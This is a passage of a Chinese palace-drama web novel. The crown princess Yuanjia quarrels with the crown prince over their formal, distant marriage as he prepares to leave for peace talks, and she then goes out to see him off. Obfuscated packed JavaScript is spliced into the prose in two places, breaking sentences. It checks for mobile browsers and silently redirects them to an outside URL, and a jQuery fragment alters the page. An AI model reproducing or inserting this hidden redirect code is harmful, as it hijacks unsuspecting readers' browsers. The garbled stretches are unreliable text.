卫妙音渐渐找回理智,头脑虽清醒过来,人却没劲了。蜷在榻上,明明是下雨的天,额间却冷汗涔涔。这会儿泄了气,浑身乏力,竟迷迷糊糊的睡过去了。 叶兰见状,小心翼翼起身,又抱了床薄被搭在卫妙音身上,这才蹑手蹑脚地去屋外守着。 另一边,元嘉也回了长春馆,却是先挑了匹素缎往梨云院送去,又让拂冬带了句话,只让人安心刺绣,缎子废了再来长春馆取。 如此,倪娉柔约莫也能暂时安心了。 元嘉这才松泛下来,回屋换了身衣裳,又取了簪钗,将头发散下大半,这才唤红玉进来。 “绿烟说的赵太医,如今何在?” 元嘉问道。 “赵太医是薛娘娘时的奉差医官,薛娘娘逝后,便又回了太医署,如今已归乡颐养天年了。” 红玉略回忆了下,方才答话。 那便是又找不到人了……元嘉暗暗皱眉,面色却如常,顿了顿又问起另一件事,“不是说,薛娘娘拨了四个人过去伺候吗,怎么今日就一个绿烟?” 红玉愣了一下,须臾有些不确定地摇头,“这、奴婢也不清楚……府中事尽数是由先太子妃做主的,想是之后良媛身子好转些了,便又撤了些人吧?” 元嘉不置可否,又继续问道:“如今卫良媛身边,还剩哪些人在伺候?” 红玉算了算,“叶兰是良媛身边的大宫女,绿烟算是二等宫女,另有两个粗使仆妇和一个奉差医女,总共五人。” “卫良媛还在养病,就这么几个人如何能行?不说多添,但该有的规制,一个也不能缺。” 若再遇上卫妙音犯疾,也不至于像今日这样兵荒马乱的,连个报信的人也找不着。 红玉不敢违令,当即道:“是,奴婢明日便带齐人过去,定不叫良媛缺了人使。” 元嘉思忖了几瞬,摇头道:“还是一会儿就去,挑些机灵懂事的,让卫良媛自己选。另给本宫带个话去,请良媛好生休养,旁的无须担心,若身边的人服侍不尽心,只管换掉就是。” 红玉应声称是,立刻便出去了。 绿烟是薛神妃拨过去的人,余下四个,除了叶兰怕没一个尽心的,都觉得自己跟了个失宠的主子,保不齐还在心中对卫妙音生了怨。也不知那药是谁的手笔,又和薛神妃,还有那太医有几分关系…… 只可惜了卫妙音,被这样拖垮了几年的身子,便是如今察觉了,又不知要费上多久才能补回亏空。 元嘉看着檐下欲坠未坠的雨滴,良久长叹一声。 48. 两相恼 这一夜,燕景祁依旧没有回来。 第三夜、第四夜亦是如此,直到第五日黄昏,燕景祁才满面征尘地踏入长春馆。 彼时,元嘉正捏着黛笔,在素帛上勾勒山茶花的轮廓,一时入神,直到燕景祁走近才猛然惊觉。 “殿下。” 元嘉抬头一笑,动作自然地将素帛放在一旁,起身便要行礼,却被燕景祁伸手摁住了肩膀,自己则旋身坐在元嘉对面,开口道:“父皇今日下诏,命兵部和礼部主理与疏勒和谈一事,人已经选定,孤随行督办,三日后就出发。” 元嘉愣了一下,显然没想到燕景祁会同她说这些事情。怪不得男人这些日子总是忙碌非常,更少有回太子府歇息的时候,原是为了准备和谈。她此前也听欧阳沁提起过,只是没想到会与燕景祁再扯上关系。 “……若要行和谈事,将地方选在边城是最合适的。可两军交界之地,如何能没有兵士随同。”元嘉回过神来,首先想到的却是欧阳沁,“殿下此去,随行的将军又是哪一位?” 她不知道薛神妃此前是以何种姿态与燕景祁谈议政事的,但如今听来,和谈一事或许会牵涉欧阳沁,她便也顾不得那么多了。 燕景祁却似乎并不意外元嘉有此一问,只笑了笑,“你倒是敏锐,同行的正是欧阳将军。她从前便常驻边城,这次也是她大破疏勒,生擒疏勒王子,有她这个熟知情况的人跟着,最是便利。” 果然如她所想一般。 只是不知道欧阳沁这一去,只为了解决和谈事,还是就此回边关驻守。若驻守,又需要几年才能再回来。 元嘉想到此处,不免有些感伤,亦遗憾与欧阳沁相聚的时日太短。燕景祁自坐下后便一直注视着元嘉,此刻像是窥见了什么一般,眼中掠过几丝隐晦的不快,忽而道:“此桩事毕,边境至少可得十年安宁。若行教化,来日未必不能引为同族。太平日子底下,武将总是比文官更得闲的。” 虽未直言,但暗含的意味却叫元嘉陡然生出几分希冀,一时也不曾留意燕景祁语气里的异样。 元嘉先是高兴,而后忽然意识到自己的行为或有不妥──她似乎对他人他事表现的太过上心了,尤其是在为同一事需要离京的燕景祁面前。 遂斟酌着言辞开口,“如此,便是利国利民的大好事了……殿下此行,可知归期?” “若是顺利,两、三月便可归京,若遇上些麻烦事,或就要小半载了。”燕景祁的话里夹着几分意味不明,“你替孤收整好行装,轻便些,一切从简。” 闻言,元嘉默默在心底掐算了下日子。即便取个折中的时候,燕景祁回京时也已深秋了,再怎么从简,也少不得要备下数套换季所需衣物。其余惯用之物,也得齐备,真细收拾起来,东西怕是只多不少。 “是,只是不知这一次,殿下要带哪些人一起去?” 燕景祁太子之尊,哪里能缺了人伺候,更遑论此行一路北上,路途只会愈加艰苦,元嘉少不得要问上一句,以便安排。 “此去数月,就让申时安领着他的几个徒弟随孤北上。”燕景祁忽的起身,又往侧间走去,“至于兰华,孤已交代她守在少阳宫,若期间有什么事情,也好及时叫你知道。” 元嘉跟着入内,习惯性的以为燕景祁要更换常服,一面替前者宽衣,一面低声道:“殿下放心去吧,妾身会料理好府上诸般事,定不叫出一丝差错。” 燕景祁转过身,顺着元嘉的动作脱下外袍,一双漆黑似墨的眼睛却始终盯住前者不放,“……太子妃就没有其他事情想说了?” 元嘉动作一顿,又若无其事般抚着燕景祁衣襟上的褶皱,这才出声—— “是了,妾还真有一事忘记问了……殿下此行,可有意带上府里的哪位妹妹?三日期短,殿下若有属意的人,妾也好早些告诉了去,也免得临到头收拾的手忙脚乱。” 说这话时,元嘉并没有抬头,只将自己的视线停在燕景祁衣领的纹样上。她并不确定男人问这话时的想法,但至少能笃定不是为她去畅和馆的事情,否则适才一进门便该对她发难了,又何必先与她谈及去边城的事情。 可、和谈的安排已说清了,随同北上的内官也已定了,她身为太子妃,自然也会顾好府里的一应事务,除了服侍的人,她实在想不到还有什么值得燕景祁特意问上一句。 但显然,这并不是男人想听到的答案,因为悬于她头顶的那道目光立刻变得灼人起来,“……两个女孩儿还离不得母亲,倪氏自己又还是个娇气的,便让吴氏随行吧。” 当中并未提徐丽华和卫妙音一句。 元嘉敛目应下,还不及再说话,便听耳边传来燕景祁夹着寒意的声音,“都说季家夫妇是恩爱眷侣,他们夫妻间相处,也似你同孤这般客气吗?” 一句话说的毫无由来,却似当头棒喝般叫元嘉心生悚然,可紧随着涌上来的,是足以将人理智灼烧干净的恼怒。 这段日子以来,她拼了命地将自己融进太子妃这个新身份里,更唯恐自己哪里做得不够好,绞尽脑汁地揣测男人的每一个念头,就为了他说的“合适”二字。可也是因为这个身份,她处处被人窥伺、被人拿来作比,一个又一个的疑团将她搅得身心交瘁……偏燕景祁在这个时候对她发出如此质问,委实叫人愠恼! “申时安,回书房!” 并没有给元嘉回答的机会,燕景祁径自从前者身边绕过,就这样头也不回地离开了长春馆。 眼看男人的身影彻底消失,元嘉的脸色也终于冷了下来。胸中的怒火还在灼烧着她的五脏六腑,残余的理智却已在迫使着她低头忍耐,又不断推着她去回想燕景祁今日的种种怪异之处。 明明之前都是好好的,不管是对小喜儿,还是改了薛神妃的旧令,哪怕是在荷风园与三公主相争了一场,燕景祁到最后都不曾驳过她。只要有因,只要适度,她是强硬还是和善,燕景祁都表现得毫不在意……可为何今日有这样大的反应? “……女君?” 盼春走了进来,隔着屏风发出一声稍带犹豫的询问,“祥顺还在院子里候着呢,女君可要召他进来?” 元嘉的脸色还有些难看,闻言眼睛微微一合,又迅速睁开,强行按捺下所有情绪,“……服侍太子的人,等在咱们院子里做甚?” 听见元嘉还算平稳的声音,盼春才终于松了一口气──她们守在外头,自然也看到了太子拂袖而去的样子,偏又没传出任何的争执声。谁也不知道发生了什么,更不敢贸贸然进屋打扰……好在还有个祥顺做借口。 “申内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这便是解释为何他一个管箱笼的小内侍,会有机会跟在燕景祁的身边了。 只是,元嘉的注意力却放在了另一处上,“太子尚且因和谈一事操劳消瘦了许多,陛下呢,陛下的龙体可无恙?” 祥顺不觉有异,只唉唉一叹,“虽有太医的汤药调理,可陛下的身体哪里受得住这样的辛劳。好在有皇后殿下陪伴左右,又衣不解带地日日侍疾,如此才算是无大恙……奴才斗胆说一句,似陛下与皇后这般史书难有的帝后典范,实在乃我大周之福哪!” 元嘉立刻意识到了什么,眼中闪过几丝讥讽,却仍是赞同了两句,又状似不经意般问道:“如此辛劳,太子回来后竟也不曾歇息过吗?方才的时辰来长春馆,怕是连晚膳都没在宫里用?” “殿下今日回的早,但也还有许多的事情呢。”祥顺老实答话,“方才先去了趟书房,还让奴才从架子上找了几本书呢。” 元嘉眸光微闪,“疏勒是我朝多年的忧患,如今得胜和谈,仍是有许多的事情要费心……想来太子让你找的,也都是些与他们有关的书卷策论吧?” 祥顺愁眉苦脸地想了会儿,“奴才哪分得清这些东西呀,只知道那架子上摆的都是些史书之类的,前朝的,本朝的都有,想来、或许是有关的吧?” “原来如此……” 元嘉低声呢喃,有意克制的声量不曾惹来屏风外任一人的询问。 抬手覆上眼帘,元嘉好似倦累般合上了眼。她只怕再不遮掩着些,自己眼底的讥讽便彻底暴露无遗了。 她大概猜出来燕景祁忽然不快的原因了。 49. 类夫妻 将祥顺打发去收拾行装,元嘉又唤了敛秋进屋,“去准备些饭菜,一会儿随我去趟澹怀堂。” “……是。” 敛秋不解其意,却还是立刻往小厨房走去。又见天色已沉,心知再耽搁便要错过晚膳的时辰了,遂只做了几道简单的小菜,又将碗碟放进食盒后才回去向元嘉复命。 “那就走吧。” 元嘉起身,又拒绝了想要跟随的徐妈妈,“只去送个饭菜而已,费不了多少工夫,妈妈在长春馆等着我便好。” 说罢,又朝敛秋抬了抬下巴,前者便拎过食盒跟在元嘉身后,宫女们亦提了灯站在院外,一行人径自往澹怀堂而去。 …… “申内官,还请你去通传一声,就说本宫忧心殿下身体,特意备了饭菜,请殿下好歹用一些。” 元嘉到时,书房的门紧闭,申时安则站在院子里与人吩咐着什么,见元嘉进来,忙挥退了左右上前请安。 “问女君安……实在是殿下他吩咐了人不许打扰,奴才便也不敢在这时候进去讨嫌,”申时安面露些许难色,脚步更是一分不挪,“女君的好意,不若让奴才先收下,晚些时候再送进去如何?” 元嘉神色不变,“申内官,本宫承你让祥顺留下来的情,可有些事情,还得本宫亲自与太子分说……申内官当真要拦着本宫吗?” 申时安面色微变,须臾苦笑一声,“这、女君便请进吧。只是敛秋娘子就不要跟着了……若咱们都在场,有些话怕是不好说的。” “那便谢过申内官了。” 元嘉从敛秋手里接过食盒,又朝申时安一颔首,这才提裙上阶。走到槛外时却无端停留了几瞬,不知在想些什么,好一会儿才推门入内。 “听闻殿下未用晚膳便从宫里出来了,妾身便命人备了些饭菜,殿下好歹用一些,不要伤了肠胃。” 元嘉轻轻一屈膝,也不等燕景祁叫起,便自行走到了方桌前,又取出食盒里的饭菜,一一摆放齐整。 “你——” 看着元嘉堪称失礼的动作,燕景祁眉峰轻聚,眼中闪过一丝不悦,只是话才出口便被元嘉毫不客气地打断── “殿下方才问起妾身父母之事,按说该由妾身先回答才是,可妾身心中亦有几处困惑,便斗胆先请殿下不吝明言。” 元嘉缓缓转身,盯着燕景祁同样注视着自己的双眸,一字一句道:“都说殿下与先太子妃鹣鲽情深,不知从前,殿下与薛娘娘相处时,也是对妾这般姿态吗?” 伴随着这句话,燕景祁的眼底一点点染上冷色,“……你这是在质问孤?” “是,”元嘉浑然不惧,“只是妾还没问完呢,也不知道殿下还能够再往下听吗?” 过来的路上,她不止一次地想过自己该以何种态度面对燕景祁,是否该一如既往地顺着男人的期望,做一个里外都“合适”的人,一切都等眼前的矛盾过去后再做他想……可,她不愿意。 燕景祁高高在上的时间太久了,只怕早忘了与人交易就该委以同等利益的道理。有些东西,她今日若不说的直白些,还会叫他以为一切都该是旁人心甘情愿奉上的。 “……这话倒是新鲜,”燕景祁眼中的冷意未褪,“孤,洗耳恭听。” 元嘉依旧看着燕景祁,唇角却蓦地勾出一抹笑弧,哪怕那笑意并未透进眼底,“妾与殿下成婚数月,殿下可有唤过妾的闺名?” “殿下可有告诉过妾,除了称呼您为太子,妾还能唤您什么?” “殿下与我称孤,我与殿下称妾,寻常夫妻间会有这样的称呼吗?” 看着男人的神情微微一滞,元嘉的眼底掠过一丝快意,又很快被压在一片平静之下,只缓缓补上最后一句── “至高至明日月,至亲至疏夫妻。” 元嘉的声音不高,此刻更多出几分意味不明的诱引,似是挑衅,又似是煽惑,“您是太子,是君,妾为太子妃,是臣。君为臣纲,夫为妻纲,妾自当依您的心意行事。可妾亦不敢擅专,更不敢无根由的揣测。殿下究竟是希望妾做一名合适的太子妃,还是您这位夫君身边的合适的妻子,亦或是……足以与您一起垂范百世的贤帝后?” 此话既出,屋内的空气仿佛瞬间凝固,只余下一片沉重的寂静。 两人相顾无言。 不知过了多久,燕景祁紧蹙的眉头才重新舒展开来,薄唇几度开合,却始终没能吐出一个字。饶是如此,看向元嘉的眼神却愈发锐利,更多出几分喜怒难辨的审视。 “妾身想说的话已经说尽了,便不打扰殿下用晚膳了。” 元嘉浅浅一福身,并不给燕景祁任何反应的机会,便已转身离去,只留下一道再从容不过的背影。 是夜。 元嘉梳洗罢,只披了件大袖衫,独自坐在妆台前,一手撑着下颌,一手把玩着才从耳畔取下的玉珠子,两只眼睛虽还盯着铜镜,心思却早不知飘到何处去了。 早前在澹怀堂里说的那些话,她如今想来也并不后悔——与其等燕景祁手里漏出来的那一星半点的好处,还不如让男人意识到,自己并不是他可以召之即来挥之即去的仆婢。从她被选为太子妃的那一刻起,就已经和他站在同一条船上了……他们该是盟友才对。 若燕景祁有什么希图的,她自然不吝配合,但却不能一直让她凭着男人的只言片语去揣摩,再靠着几声夸赞换来奖赏——奖赏是可以被收回的,这样的她也是可以被替换的。 薛神妃的贤良有几分真,她尚无从细想,可被遗忘在畅和馆的卫妙音,她却是看在眼里的……她不想做第二个卫妙音。 …… 红珠进来时,正看见元嘉有些出神的样子,遂屏退了左右,又放轻了手脚走至元嘉身后,一点点从前者发间取下固定用的簪钗。 只是不多时,燕景祁便进来了。 元嘉并没有意识到身后又多出了个人,燕景祁似乎也没有出声的打算,只看着人示意了一眼,红珠便只能放下珠钗,藏起满眼的忧色退下。 而元嘉,是在头上突然传来细微的刺痛感时才回神的。一抬眼,便看见燕景祁站在身后,手里拿了枚簪子,正往她未拆尽的发髻上插。红珠已不见了踪影,屋内亦找不到其他服侍的人,偌大的屋室只余下他们两个。 蜡燃得有些久了,照得屋内有些昏暗。元嘉蹙着眉头,就着铜镜打量了好几眼,总算确定这不是她的东西。 “这是、凤首簪?” 燕景祁一边调整着簪子的位置,一边嗯了一声,“这是母后的嫁 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元嘉将凤簪小心翼翼地取下,又置于掌心细细打量,越看越觉得贵重,越看越觉得烫手。 无功不受禄。 “妾、何德何能……” 元嘉推拒的话只将将开了个头,便又听燕景祁在耳边道:“做婆母的,送件首饰给自己的儿媳,有什么不可以的。” 说话间,又从元嘉手里取过凤首簪,左右轻晃了下,另放回了妆奁内。也不知从哪来的兴味,又开始替元嘉解起发来。 元嘉下意识偏了偏头,旋即又止住动作,一时摸不准眼前人的心思,只好试探般的唤了一句—— “殿下?” 燕景祁轻笑一声,将最后一支固发的双股钗取下,见元嘉馒头青丝如瀑布般散下,这才出声:“我在一众兄弟里行三,往后无人时,你就唤我三郎吧。” 元嘉怔愣一瞬,旋即反应过来——从燕景祁进来到现在,不论说的什么,都再没有对她用过‘孤’这个字。 这是将她说过的话听进去了,还是退让一步后的继续试探? 元嘉有些拿捏不准。 燕景祁却恍若不觉,只继续道:“元嘉是你的闺名,那我以后便唤你嘉娘,可好?” 闻言,元嘉眉梢微微一动,面上掠过几丝难以察觉的探究,但很快被唇角勾起的浅笑遮盖。长睫恰到好处地投下一片细密的阴影,又掩去了前者眼底一瞬间的迟疑。 “……好。” 片刻的沉默后,元嘉侧身看向燕景祁,两人的目光交织在一起,彼此间都是带笑模样,仿若这俗世任何一对寻常夫妻一般。 他既想演,她自然乐得配合。 元嘉在心底感慨一句,起身面向燕景祁,“三郎不日即要远行,这两日便早些安置,我守在家里,等着三郎归来。” 燕景祁抬手从元嘉的发间抚过,又顺着发梢滑至肩头,最后将手掌稳稳覆在前者的手背上,指尖微微收紧,带着一种不容抗拒的力道,彻底握住元嘉的手腕,“好,咱们早些安置。” 元嘉低垂着眼眸,看着两人状似亲密般握在一起的手掌,没有挣扎,也没有回应,只任由男人将她拉到身侧,又并肩往侧间走去。 至亲至疏夫妻。 说的还真是没错。 50. 欲将离 虽说定了三日后出发,可燕景祁仍是没空闲下来,光熹帝病重这几年,朝堂大事多数由燕景祁决断,如今领了差事出外,少不得要把一切安置妥当。但似乎是元嘉的话起了作用,余下两日不管再忙,燕景祁仍是宿在太子府。 至于元嘉,亦是忙得脚不沾地。 先是命人往各院递送消息,而后又亲自守着祥顺往马车上装行李,什么要带什么不要带,一个个俱得问了元嘉意思,已经做好的夏衣和香囊更是第二日便送到了欧阳府。 期间吴奉仪倒来找过元嘉一次,言语间无非是说自己力不胜任,还是换别人随驾更好。偏偏是燕景祁定的人,元嘉也只能宽慰几句,又托刘婵去开解二三,这才消弭了吴奉仪心中的不安。 临行前一夜,燕景祁依旧宿在了长春馆。 “嘉娘。” 燕景祁出声时,元嘉正倚在窗边的软榻上,手里拿了一本《西域记》不时翻看,东西已然收拾妥当,她也总算能落个半刻清闲, 元嘉翻阅书册的动作一顿,指尖停在泛黄纸页的边缘,而后抬眼望去,无声等着男人的下文。 “明日,队伍会从承天门出发,行至灞陵亭后与兵士会合,再一路北上,直到边城。” 元嘉顺着燕景祁的话不时点头,却也奇怪前者为何会突然提及此事。 “……你明日可想去灞陵亭?” 燕景祁端起茶盏抿了一口,余光看向元嘉,忽而问道。 “三郎不是说,因今上卧病在床,所以诸事从简,一应仪制都削减了吗?” 元嘉斟酌着开口。 “是削减了,但明日要走的消息早就传遍上京了。”燕景祁放下茶盏,指尖轻轻搭在杯壁之上,“说是和谈,可谁不知道是打赢了仗过去拿好处的,自然不缺赶趟凑热闹的人。” 元嘉捏着书册,难得犹豫起来──她自然是想去的。自成亲以来,她再未出过上京,去得最远的地方,也不过万春公主的荷风园,如今有此机会,她如何不想……更何况,欧阳沁也在明日远行的队伍里。 只是,她仍有顾虑。 且不说今上免了送行,又叫诸事从简,便是随行的人马中,也没有听说哪户官家女眷得了话要露面送行的,只怕都是在各自宅院内叮嘱送别……而太子妃三字压身,无疑又给她的行止多添了几分限制。 至于燕景祁,他既想成就自己来日的贤名,又怎会在这时候与光熹帝的命令相悖……怕是其中还有什么特别的缘由。 又见男人脸上挂着一抹极浅的笑弧,当下坦然道:“自然是想的。可还得三郎替我寻个法子才行……明日定是人山人海,我又怎好直接打着太子府的名号出门去呢?” “丈夫要远行,做妻子的亭外送别,有什么不可以的?” 燕景祁不答反问。 男人似乎很喜欢抛出一些带着隐意的话来引人思忖,可又不喜欢被人直接揣度出心意,只想让别人顺着他的话点到即止,最好再多个心照不宣……实在是有些费心劳力。 只是她既想出去,便无意在这上头与人拉扯,且那日之后,燕景祁私下再与她相处,说话行事都较之前多出几份随意,这是好事,她自然不会上赶着讨嫌,遂道:“三郎说得有理,我明日一早便往灞陵亭去,等着替三郎送行。” 说罢,也不等燕景祁的反应,只重新翻开《西域记》,垂目又看了起来。男人亦没料到元嘉是此态度,少顷方敛了神色,道:“你明日戴上幕篱,辰时三刻在侧门等着,阿姊的马车会过来接你,你到时随她一起去灞陵亭。” 阿姊? 元嘉顿时了然,“熙宁皇姊也要去?” 燕景祁嗯了一声,瞧着确与燕景璇感情颇好,这会儿提起来时更多了一抹明显的笑,“阿姊最喜欢热闹,这样的场合焉有不去之理。我出宫那日,她特意过来问了一句,又说若你想去,便坐她的马车一道过去。” 元嘉如今也算与燕景璇相熟了,既得前者邀约,她便也不再犹豫,点着头应了一声,却又想起倪娉柔几个,免不得多问了一句,“那府里的其他人,是坐另一辆马车出去?” “……其他人?”燕景祁明显反应了一下,才带着漫不经心的口吻道,“你随阿姊出去就够了,她们留在府里,也不缺人伺候。” 如同被一泼凉水当头浇下,元嘉因自己得以出城而稍有激动的心,在顷刻间又冷却下去。 元嘉捏着书册的指尖微微一紧,旋即又无事般翻去下一页。 这还有什么不明白的,只看燕景祁的态度,今次若不是燕景璇这个做阿姊的开口,她怕是也不必出门了……可女子为何一定要囿于后宅呢? 将脸稍稍侧向靠烛台的一方,元嘉的眼神有些发冷,却好歹维持住了面上的平稳,只是思绪不免纷乱,一时未听见燕景祁唤她的声音。 “……嘉娘?” “嘉娘!” 燕景祁一连唤了几声,元嘉却始终如离魂般无有反应,不由得拧起眉头。正要抬手再唤,却见前者眸色重又恢复了清明,伴着一句‘三郎何事’,一切如常般回应着他的注视。 “……嘉娘似有心事?” 燕景祁盯着元嘉的眼睛,又一次问道。 元嘉浅浅一笑,“难得有这么个热闹事,偏只我一个出去……我便在想,出去这一趟,该带些什么回来才是,也好送去几个院子,叫她们也同乐一番。” “是吗?” 燕景祁不置可否,但最终还是移开了目光,只从格架上取了把铜剪,又坐到元嘉对面,一边将已有些长了的灯芯剪去,一边恬不为意道:“你能有这个心意,便足够她们感激涕零了。” 至于是记挂着要给她们送东西的心意,还是想让她们一起出门的心意,便都无所谓了。或者说,早已被燕景祁拍板定案的事情,如今根本不值得他再多分出一丝关注。 只是这样的话太过刺耳,就像在刻意强调些什么一般……且,再说下去就没意思了。元嘉便也干脆闭了嘴,只沉默地注视着燕景祁的动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079118|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咔嗒”一声轻响,焦黑的灯芯被铜剪齐整地剪断,烛火微微一晃,又很快恢复了摇曳的姿态,屋内被照得更加明亮。元嘉突然生了倦意,连与燕景祁说话的力气都快要失去,好在前者也没有继续和人叙谈的意思,剪完灯芯便自榻上起身。 “明日起的早,我今晚就在书房歇息,你也早些安置吧。” 说着,又吩咐道:“让吴氏明日和你一起去灞陵亭,就随在你和阿姊的马车后头。等承天门的人都过来了,再跟着队伍一并离开……不用她在宫门口等着了。” “是,三郎只管放心,吴奉仪那里我会安排好的。” 早在燕景祁起身的刹那,元嘉便也跟着下了榻,此刻应了前者的话,又跟着将人送出了长春馆,直看到男人的身影彻底消失在深沉夜色中,才算是松懈下来。却没有急着回屋,只站在院外的空地上,抬头看着夜空中恣意铺散的几点星子,而后深深吸了一口气,冷风裹挟着寒气涌入胸腔,瞬间清空了元嘉脑中的混沌。 “女君,夜风寒凉,咱们还是先回屋吧,吹久了怕是会伤了身子。” 徐妈妈缓步上前,将披风搭在元嘉肩上,声音温和如旧,又多出一丝明显的关切。 元嘉并未回头,依旧将目光停于虚空中的某一处,像是没听到徐妈妈的话一般,任由夜风刮过脖颈,寒意自背脊蔓延至全身,少顷方道:“这个时辰,吴奉仪应当还未歇息,妈妈让人去一趟沉心院吧,就说太子有吩咐示下。” 而后,又将燕景祁对她说过的话重复了一次。 徐妈妈细细听罢,又问过元嘉还有无其他吩咐后,才招来个小宫女,低声交代几句后离开。 “女君,奴婢伺候您回屋吧?” 那小宫女怯生生道,显然是得了徐妈妈的吩咐,饶是畏憷,也还是大着胆子开了口。 “……回吧。” 元嘉闭了闭眼,再睁开时,眸中已是一片澄明。她只是觉得在屋子里闷得慌,还不如这院子来得让人自在……而她,也需要这一场凉风抚平心底的焦躁与烦闷。 “果然,人还是得清醒些。” 元嘉轻声自语,随即转身回屋,又重新坐回榻上,也学着燕景祁的模样剪起灯芯来。 不多时,红珠走了进来,身后还跟着数名捧着布巾、水盂一类物事的小宫女,俨然要服侍元嘉梳洗的架势。 她可没有吩咐人进来。 “你们这是……” 元嘉询问般看向红珠,前者立刻解释道:“徐妈妈方才过来,说您看起来似乎有些疲累,便让奴婢们这会儿就服侍您梳洗。明日还得起早,女君该早些安置了才是。” 元嘉下意识将手抚在脸上──她的脸色有那么差吗?差到徐妈妈在一旁看了几眼便觉出了不对劲……可偏偏燕景祁从头到尾无所觉。 “想是这几日忙碌事太多,好不容易松泛下来,这疲色便掩不住了。” 元嘉轻描淡写带过,便由着红珠领着人服侍安置,又是一夜无眠。 51. 感同悲 虽说定的是辰时三刻,可元嘉卯时初便起身了,囫囵垫了几口点心,便坐在妆台前,由着人换衣梳妆。 她昨夜睡得极差,一晚上辗转反侧不得眠,直到书房传来响动,才迷糊间有了困意。燕景祁似乎还要早些,听那动静,像是寅时就开始收拾了。 元嘉看着铜镜里的自己,可谓是彻夜难眠,却偏偏精神很好,只眼下的乌色骗不了人,红珠更是看得直皱眉,又往上敷了好几层粉才勉强盖住。 一旁的徐妈妈亦是关切,“女君这几日是劳累了些,回头请章太医开些安神的药,夜里也能睡得好些。” 元嘉是心里放的事太多,这才夜不能寐,又不好将这些东西诉诸于口。这会儿听了徐妈妈的话,竟也觉得是个办法,睡得沉了,便不会想这些令人烦闷的事了。当下点了头,又嘱咐拂冬得空时往章有为处走一趟。 这话说完,元嘉又有些提不起劲来,一双眼睛虽还盯着铜镜,眸子里却像是什么都没映出来一般,显得空荡荡的。直等到红珠在耳边说出“好了”两个字,才勉强从这股倦怠的心绪中挣脱出来。 想是顾及元嘉气色,红珠在拣选饰物时,并未替前者插戴过多的金器,只用了几支银簪固定,另插了把玉梳聊以点缀。 元嘉凝神瞧着,倒生出几分物是人非之感。 她从前最爱素净之色,喜穿一身碧衣,可偏偏做了太子妃后,十日里有八日都在佩金器着红裙,饶是寻些色浅的衣裳来穿,也远比她从前穿的鲜丽……她都快忘记自己的这副模样了。 元嘉又看了两眼,便兴致缺缺地收回了视线,只问道:“熙宁公主的马车过来了吗?” “方才便有公主府的侍卫来报了,如今细算算时辰,想是再有一刻钟的工夫便该到了。” 拂冬想了想,方答道。 “这会儿过去,想也差不多。” 元嘉点点头,自妆台前起身,一行人便往侧门的方向走去。却不想,吴奉仪已在侧门处候着了。 “奉仪到的早,怎么不寻个地方坐着等?” 元嘉停下来,又见吴奉仪站立之处一片干爽,未有露水侵袭,便知她来了不止几刻钟的工夫,也不知道站在这里等了多久,竟也没有人劝阻一声。 “妾习惯早起,左右都已经收拾妥当了,便自个儿往侧门来了……是妾自己要站着的,木兰她们也劝不听的。” 吴奉仪垂首屈膝,又被元嘉抬手制止,见前者身边只跟了个穿藕色襦裙的宫女,便猜想她就是木兰了。 “此去数月,奉仪怎不多带些人在身边伺候?” 元嘉抬了抬下巴,便有人上前放下门栓,又一点点将两扇门推开。 “妾只是一粗鄙人,原也不用这许多人服侍,沉心院也还要人打整,索性便让她们留下了。”吴奉仪语气愈发卑恭,“木兰跟在妾身边的时日最久,有她相随,便也足够了。” 元嘉嗯了一声,见燕景璇的马车还未驶过来,便也放心与吴奉仪再闲谈两句。 “边城荒僻苦寒,又常年寒风肆虐,便是热暑也少有阳光,奉仪可带够了御寒的衣物?”元嘉想了想,还是叮嘱起来,“侍奉太子虽也是要紧事,可奉仪照顾好自己才是最重要的。” 吴奉仪原以为元嘉会敲打她两句,又或是提醒她在外须谨守本分,却不想会听到这些话,一时有些微愣。 元嘉自然也看出来了,又道:“太子身边不缺伺候的人,但只怕他满心都是和谈的事情,旁的琐事未必能留意的到。你跟去陪着,便算是替太子打理俗务了。” 吴奉仪却听得神色骤变,“能伺候太子已是前世修来的福分,旁的事,妾身万万不敢奢求!” 竟是以为元嘉故意在说反话。 元嘉暗叹一声,有心解释两句,却听门外忽的传来一句轻唤——正是燕景璇,此刻掀了帘子,又抬着一双带笑的眸子望向元嘉。 元嘉方才只顾着和吴奉仪说话,倒不曾注意到车驾是何时过来的。 “快上来!” 燕景璇又催促起来,而后才看到元嘉身后的吴奉仪,笑意微敛,看人的表情却更加温和,“奉仪也在,怎的没随太子的车驾一道进宫?” 吴奉仪自燕景璇出声的那刻起,便又回到了低眉垂眼的模样,此刻微微一俯身,彼此间见了礼,方道:“殿下命妾身在灞陵亭等候,故而不曾进宫。” “太子昨夜临时起的念头,让奉仪随咱们的车驾一道往灞陵亭去。等他从承天门过来,便跟在队伍后头一起出发。” 元嘉在一旁笑着补充了两句。 燕景璇不置可否,与人又寒暄了两句,便又催促起元嘉来。 吴奉仪亦是知趣,立刻道:“那妾便去后面的马车了。” “……等等!” 燕景璇却又把人喊住了。 “你忘了?”燕景璇瞧着人道,“你这辆马车是要随太子一块儿出城的。” 吴奉仪不解摇头,“此等大事,妾身自然牢记,所以才要往马车上去,好随您与太子妃的车驾离开。” “错了,”燕景璇眼底的笑意深了些,“你的马车要往前面去,本宫和太子妃的马车随在你后头。” 吴奉仪惊惶抬头,“这、万万不可!” 元嘉也反应过来,“公主说得没错,你是奉命随行,坐的是太子府的马车,代表的也是太子府的女眷,该走在前头才是。本宫与公主都只是凑热闹罢了。” 吴奉仪焦心如焚,又连连摆手,急得说不出个所以然来。元嘉趁这时候上了燕景璇的马车,又示意车夫把吴奉仪的马车赶到更前头。 “再不快些,只怕太子那边就要出发了。” 燕景璇故意道。 吴奉仪立刻失了章法,下意识听了燕景璇的话,等再回过神来,人已经坐进了马车,距太子府更是数里之地了。 另一驾马车内,元嘉与燕景璇两相对坐。 